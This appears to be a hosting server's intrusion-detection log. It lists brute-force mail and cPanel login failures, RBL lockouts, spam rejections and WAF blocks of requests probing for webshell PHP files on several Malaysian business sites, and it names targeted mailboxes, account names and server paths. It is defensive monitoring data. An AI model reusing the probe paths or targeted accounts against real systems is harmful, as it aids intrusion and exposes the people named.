2026-01-16 08:10:32 dovecot_login authenticator failed for H=([119.202.206.86]) [119.202.206.86]:47388: 535 Incorrect authentication data (set_id=slgoh@kendek.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.21.241.50
country_id: 1814991
description:
Jan 16 08:12:45 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.21.241.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.241.50
country_id: 1814991
description:
2026-01-16 08:12:47 dovecot_login authenticator failed for H=([218.21.241.50]) [218.21.241.50]:34910: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.169.16.134
country_id: 6252001
description:
2026-01-16 08:12:30 dovecot_login authenticator failed for H=([166.169.16.134]) [166.169.16.134]:38953: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-16 08:13:16 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:41951: 535 Incorrect authentication data (set_id=ahmad.asif)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 114.240.229.150
country_id: 1814991
description:
2026-01-16  8:14:05 151524 [Warning] Aborted connection 151524 to db: 'unconnected' user: 'unauthenticated' host: '114.240.229.150' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 136.60.150.194
country_id: 6252001
description:
Jan 16 08:14:30 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 136.60.150.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.60.150.194
country_id: 6252001
description:
2026-01-16 08:14:32 dovecot_login authenticator failed for H=(136-60-150-194.googlefiber.net) [136.60.150.194]:53986: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.179.251
country_id: 99237
description:
Jan 16 08:14:39 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.179.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.179.251
country_id: 99237
description:
2026-01-16 08:14:41 dovecot_login authenticator failed for H=([65.20.179.251]) [65.20.179.251]:53021: 535 Incorrect authentication data (set_id=general)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.133.51.66
country_id: 1522867
description:
Jan 16 08:15:42 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.133.51.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.133.51.66
country_id: 1522867
description:
2026-01-16 08:15:44 dovecot_login authenticator failed for H=2.133.51.66.dynamic.telecom.kz [2.133.51.66]:38460: 535 Incorrect authentication data (set_id=bizdevelopment@mkmetal.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/images/sliders/introduction-service.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.23.252
country_id: 1668284
description:
Jan 16 08:16:24 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.23.252 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.207.97.226
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-16.185.207.97.226||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.252
country_id: 1668284
description:
2026-01-16 08:16:26 dovecot_login authenticator failed for H=111-70-23-252.emome-ip.hinet.net [111.70.23.252]:58534: 535 Incorrect authentication data (set_id=bizdevelopment)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.36.80.189
country_id: 1814991
description:
2026-01-16 08:16:45 dovecot_login authenticator failed for H=(ADMIN) [59.36.80.189]:52906: 535 Incorrect authentication data (set_id=info@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.36.80.189
country_id: 1814991
description:
2026-01-16 08:18:10 dovecot_login authenticator failed for H=(ADMIN) [59.36.80.189]:60114: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.168.210.53
country_id: 6252001
description:
Jan 16 08:21:28 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.168.210.53 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.168.210.53
country_id: 6252001
description:
2026-01-16 08:21:30 dovecot_login authenticator failed for H=([166.168.210.53]) [166.168.210.53]:58242: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.12.229.68
country_id: 3865483
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 08:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57752: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/products.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.109.49.232
country_id: 1814991
description:
2026-01-16 08:29:16 dovecot_login authenticator failed for H=([223.109.49.232]) [223.109.49.232]:35818: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.36.80.189
country_id: 1814991
description:
2026-01-16 08:29:46 dovecot_login authenticator failed for H=(ADMIN) [59.36.80.189]:49272: 535 Incorrect authentication data (set_id=info@maalloys.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/images/sliders/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.109.49.232
country_id: 1814991
description:
Jan 16 08:29:14 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.109.49.232 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.36.80.189
country_id: 1814991
description:
Jan 16 08:29:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.36.80.189 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.141.6
country_id: 3469034
description:
Jan 16 08:30:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.141.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.141.6
country_id: 3469034
description:
Jan 16 08:31:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.141.6 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/images/radioactive.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.36.80.189
country_id: 1814991
description:
Jan 16 08:31:08 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.36.80.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.36.80.189
country_id: 1814991
description:
2026-01-16 08:31:10 dovecot_login authenticator failed for H=(ADMIN) [59.36.80.189]:56752: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.210.54
country_id: 933860
description:
Jan 16 08:31:27 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.210.54 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/portfolio/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-16 08:34:09 H=(localhost.localdomain) [78.153.140.207]:55168 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 08:37:22 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51870: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.14.131.236
country_id: 1814991
description:
2026-01-16 08:37:27 dovecot_login authenticator failed for H=(miymt) [113.14.131.236]:50771: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.14.131.236
country_id: 1814991
description:
2026-01-16 08:38:02 dovecot_login authenticator failed for H=(wyhfz) [113.14.131.236]:50771: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 08:38:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61076: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 139.59.46.198
country_id: 1269750
description:
[2026-01-16 08:39:30 +0800] info [cpaneld] 139.59.46.198 - manforce "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.114.148.19
country_id: 587116
description:
[2026-01-16 08:39:13 +0800] info [cpaneld] 37.114.148.19 - maalloys "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maalloys (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 08:40:16 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61123: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.87.117.0
country_id: 3469034
description:
Jan 16 08:40:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.87.117.0 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 72.57.74.157
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-41.72.57.74.157||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 08:44:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56532: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.95.60
country_id: 3865483
description:
Jan 16 08:46:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.95.60 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/demos/img/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.41.234.51
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-52.216.41.234.51||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 08:52:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:59879: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.191.134.208
country_id: 1733045
description:
[2026-01-16 08:52:38 +0800] info [webmaild] 42.191.134.208 - nazurah@fkr.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 08:52:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57787: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.178.81
country_id: 1269750
description:
Jan 16 08:53:08 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.178.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.116
country_id: 690791
description:
Jan 16 08:53:24 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.151
country_id: 298795
description:
Jan 16 08:53:27 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.48
country_id: 798544
description:
Jan 16 08:54:45 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.48
country_id: 798544
description:
Jan 16 08:54:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.48 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-16 08:55:09 H=([185.214.10.21]) [185.214.10.21]:57656 F=<info@mkmetal.com.my> rejected RCPT <mkmadmin@mkmetal.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.37.203.172
country_id: 3469034
description:
Jan 16 08:55:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.37.203.172 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.207.200.69
country_id: 3469034
description:
[2026-01-16 08:58:43 +0800] info [cpaneld] 200.207.200.69 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 4.38.158.130
country_id: 6252001
description:
[2026-01-16 08:58:47 +0800] info [cpaneld] 4.38.158.130 - fimco "GET /login/?login_only=1&user=fimco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.232.225.40
country_id: 298795
description:
[2026-01-16 08:58:53 +0800] info [cpaneld] 176.232.225.40 - fimcocommy "GET /login/?login_only=1&user=fimcocommy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fimcocommy (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.111
country_id: 3175395
description:
Jan 16 08:58:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.111 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.186.138.70
country_id: 6252001
domain: www.nexuscollection.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:09-00.192.186.138.70||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 09:02:05 H=([178.16.53.2]) [178.16.53.2]:49920 F=<kehk@kek.com.hk> rejected RCPT <mustapa@astlog.com.my>: SPF: 178.16.53.2 is not allowed to send mail from kek.com.hk


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.124.14.250
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/AcceptHeader.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 09:05:04 H=([178.16.53.2]) [178.16.53.2]:56436 F=<kehk@kek.com.hk> rejected RCPT <inquiries@ktlog.com.my>: SPF: 178.16.53.2 is not allowed to send mail from kek.com.hk


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-16 09:05:55 H=([185.214.10.21]) [185.214.10.21]:62156 F=<info@cordage.com.my> rejected RCPT <sales@cordage.com.my>: smtp auth required


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 130.12.182.188
country_id: 2750405
description:
2026-01-16  9:06:21 153596 [Warning] Aborted connection 153596 to db: 'unconnected' user: 'unauthenticated' host: '130.12.182.188' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-16 09:06:11 H=([185.214.10.21]) [185.214.10.21]:63327 F=<info@autogreastar.com.my> rejected RCPT <garylee@autogreastar.com.my>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.84.113.5
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-06.91.84.113.5||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 50.117.28.255
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-07.50.117.28.255||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 09:07:22 H=([178.16.53.2]) [178.16.53.2]:56683 F=<kehk@kek.com.hk> rejected RCPT <fadilah@pspoly.com.my>: SPF: 178.16.53.2 is not allowed to send mail from kek.com.hk


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-16 09:07:19 H=([185.214.10.21]) [185.214.10.21]:50657 F=<info@pspoly.com.my> rejected RCPT <info@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.58
country_id: 3175395
description:
Jan 16 09:07:50 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 09:08:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:60043: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.124.53
country_id: 1733045
description:
[2026-01-16 09:08:03 +0800] info [webmaild] 113.211.124.53 - s-osada@mckd.com.my "POST /cpsess7515895289/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [175.143.76.101] != Current IP Address [113.211.124.53]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.22.190.133
country_id: 1814991
description:
Jan 16 09:08:53 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.22.190.133 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-16 09:09:31 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:53182: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.16.53.2
country_id: 2750405
description:
2026-01-16 09:10:50 H=([178.16.53.2]) [178.16.53.2]:56123 F=<kehk@kek.com.hk> rejected RCPT <euratech@euratech.com.my>: SPF: 178.16.53.2 is not allowed to send mail from kek.com.hk


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 178.128.242.174
country_id: 2750405
description:
Jan 16 09:10:24 sv3 pure-ftpd[206298]: (?@178.128.242.174) [INFO] New connection from 178.128.242.174


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-16 09:11:20 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:41412: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-16 09:11:23 +0800] info [webmaild] 175.144.229.115 - purchase2 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid webmail user purchase2 (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.35
country_id: 1269750
description:
Jan 16 09:13:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.35 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.2.69.75
country_id: 3469034
domain: plomalite.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/plomalite.com/shop-single.php?id=9479 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/languages/images/sliders/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-16 09:14:31 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:59758: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.14.131.36
country_id: 1814991
description:
2026-01-16 09:14:54 dovecot_login authenticator failed for H=(bcqfp) [113.14.131.36]:61556: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.188.123.50
country_id: 290291
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/sebastian/environment/src/Console.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.14.131.36
country_id: 1814991
description:
2026-01-16 09:15:01 dovecot_login authenticator failed for H=(acnby) [113.14.131.36]:61556: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
